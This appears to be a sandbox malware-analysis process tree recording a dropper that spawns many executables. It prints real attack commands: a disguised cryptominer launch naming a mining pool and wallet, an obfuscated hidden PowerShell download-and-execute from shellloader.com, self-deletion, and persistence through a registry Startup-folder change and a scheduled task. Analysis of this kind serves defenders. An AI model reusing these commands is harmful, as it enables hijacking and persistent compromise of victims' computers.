        C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
        9⤵
        
        PID:6568
        
        C:\Users\Admin\AppData\Local\Temp\Alfanewfile2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Alfanewfile2.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:4568
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im Alfanewfile2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\Alfanewfile2.exe" & del C:\ProgramData\*.dll & exit
        8⤵
        
        PID:7760
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im Alfanewfile2.exe /f
        9⤵
        Kills process with taskkill
        
        PID:8112
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        9⤵
        Delays execution with timeout.exe
        
        PID:4736
        
        C:\Users\Admin\AppData\Local\Temp\setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup.exe"
        7⤵
        Executes dropped EXE
        
        PID:3340
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3340 -s 808
        8⤵
        Program crash
        
        PID:5636
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3340 -s 840
        8⤵
        Program crash
        
        PID:6004
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3340 -s 896
        8⤵
        Program crash
        
        PID:5228
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3340 -s 992
        8⤵
        Program crash
        
        PID:4620
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3340 -s 996
        8⤵
        Program crash
        
        PID:5676
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3340 -s 900
        8⤵
        Program crash
        
        PID:4332
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3340 -s 1376
        8⤵
        Program crash
        
        PID:4960
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3340 -s 1316
        8⤵
        Program crash
        
        PID:4520
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3340 -s 1368
        8⤵
        Suspicious use of NtCreateProcessExOtherParentProcess
        Program crash
        
        PID:5804
        
        C:\Users\Admin\AppData\Local\Temp\setup_2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
        7⤵
        Executes dropped EXE
        
        PID:4740
        
        C:\Users\Admin\AppData\Local\Temp\is-HBVSP.tmp\setup_2.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-HBVSP.tmp\setup_2.tmp" /SL5="$101E4,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
        8⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:4276
        
        C:\Users\Admin\AppData\Local\Temp\setup_2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
        9⤵
        Executes dropped EXE
        
        PID:832
        
        C:\Users\Admin\AppData\Local\Temp\is-DLECG.tmp\setup_2.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-DLECG.tmp\setup_2.tmp" /SL5="$201F8,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
        10⤵
        Executes dropped EXE
        Loads dropped DLL
        Drops file in Program Files directory
        Suspicious use of FindShellTrayWindow
        
        PID:5232
        
        C:\Users\Admin\AppData\Local\Temp\is-F1553.tmp\postback.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-F1553.tmp\postback.exe" ss1
        11⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:5844
        
        C:\Windows\SysWOW64\explorer.exe
        
        explorer.exe ss1
        12⤵
        
        PID:5776
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c start /B powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#########-#ob#jec######t N#et#.W#####eb#Cl#ie#nt#).###Up#loa#dSt#######ri#####ng(#''h#t#tp#:###//shellloader.com/#w#el#co####me''#,###''S#e#ve#n#J#o###k##er''###)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"
        13⤵
        
        PID:5636
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#########-#ob#jec######t N#et#.W#####eb#Cl#ie#nt#).###Up#loa#dSt#######ri#####ng(#''h#t#tp#:###//shellloader.com/#w#el#co####me''#,###''S#e#ve#n#J#o###k##er''###)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"
        14⤵
        Blocklisted process makes network request
        
        PID:6196
        
        C:\Users\Admin\AppData\Local\Temp\fy2JavA1J.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fy2JavA1J.exe"
        13⤵
        Executes dropped EXE
        
        PID:6612
        
        C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
        
        "C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe"
        14⤵
        Executes dropped EXE
        
        PID:6556
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\
        15⤵
        
        PID:6528
        
        C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\
        16⤵
        
        PID:7584
        
        C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN rnyuf.exe /TR "C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe" /F
        15⤵
        Creates scheduled task(s)
        
        PID:220
        
        C:\Users\Admin\AppData\Local\Temp\FzeTkgN4Z.exe
        
        "C:\Users\Admin\AppData\Local\Temp\FzeTkgN4Z.exe"
        13⤵
        
        PID:4816
        
        C:\Users\Admin\AppData\Local\Temp\3002.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3002.exe"
        7⤵
        Executes dropped EXE
        
        PID:5104
        
        C:\Users\Admin\AppData\Local\Temp\3002.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3002.exe" -a
        8⤵
        Executes dropped EXE
        
        PID:5416
        
        C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:4432
        
        C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
        
        "C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"
        7⤵
        Executes dropped EXE
        
        PID:4904
        
        C:\Users\Admin\AppData\Local\Temp\2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1600
        
        C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        8⤵
        Executes dropped EXE
        
        PID:5728
        
        C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        9⤵
        Modifies data under HKEY_USERS
        
        PID:6380
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue1109eec571ac.exe /mixone
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4192
    - - C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue1109eec571ac.exe
        
        Tue1109eec571ac.exe /mixone
        5⤵
        Executes dropped EXE
        
        PID:4412
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4412 -s 656
        6⤵
        Program crash
        
        PID:4236
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4412 -s 672
        6⤵
        Program crash
        
        PID:5396
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4412 -s 632
        6⤵
        Program crash
        
        PID:5888
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4412 -s 812
        6⤵
        Program crash
        Suspicious use of AdjustPrivilegeToken
        
        PID:4380
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4412 -s 904
        6⤵
        Program crash
        
        PID:5928
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4412 -s 936
        6⤵
        Program crash
        
        PID:4176
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4412 -s 1156
        6⤵
        Program crash
        
        PID:4940
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4412 -s 1148
        6⤵
        Suspicious use of NtCreateProcessExOtherParentProcess
        Program crash
        
        PID:6116
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue11bc0507b56295.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4208
    - - C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11bc0507b56295.exe
        
        Tue11bc0507b56295.exe
        5⤵
        Executes dropped EXE
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        
        PID:4436
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue112c483dd3245d.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4320
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue118f55232e4.exe
      4⤵
      PID:4280
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue11141271fbe5877f.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4248
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue11e4e580f2e8141a3.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4228

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s BITS
1⤵
- Suspicious use of SetThreadContext
PID:216
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k SystemNetworkService
  2⤵
  - Drops file in System32 directory
  - Checks processor information in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  PID:5432

C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
Tue11e4e580f2e8141a3.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4488
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  - Executes dropped EXE
  PID:4872
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  - Executes dropped EXE
  PID:2060
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  - Executes dropped EXE
  PID:1200
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  - Executes dropped EXE
  PID:5296
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  - Executes dropped EXE
  PID:5900
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  - Executes dropped EXE
  PID:3200
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:4940
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  - Executes dropped EXE
  PID:5332
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  - Executes dropped EXE
  PID:3940
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  - Executes dropped EXE
  PID:4152
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  - Executes dropped EXE
  PID:5180
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  - Executes dropped EXE
  PID:5816
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  - Executes dropped EXE
  PID:6368
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  - Executes dropped EXE
  PID:6944
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  - Executes dropped EXE
  PID:6512
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:7048
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:6400
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:7676
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:7248
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:7696
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:6708
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:6684
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:4408
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:6548
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:5164
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:7016
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:3504
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:4688
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:7980
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:5696
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:6180
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:6696
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:7260
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:7468
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:5940
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:6428
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:3448
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:5092
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:8132
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:7440
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:1424
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:6844
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:5424
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:6472
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:5760
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:7944
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:5208
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:4748
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:4132
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:5148
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:1780
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:5932
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:7044
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:2332
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:8136
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:6784
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:4844
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:7312
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:5480
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:8188
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:8108
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:7424
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:3996
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:4372
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:2808
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:5620
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:7940
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:5088
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:6292
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:5252
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:4544
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  - Checks computer location settings
  PID:7284
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:5808
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:5728
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:5132
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:7180
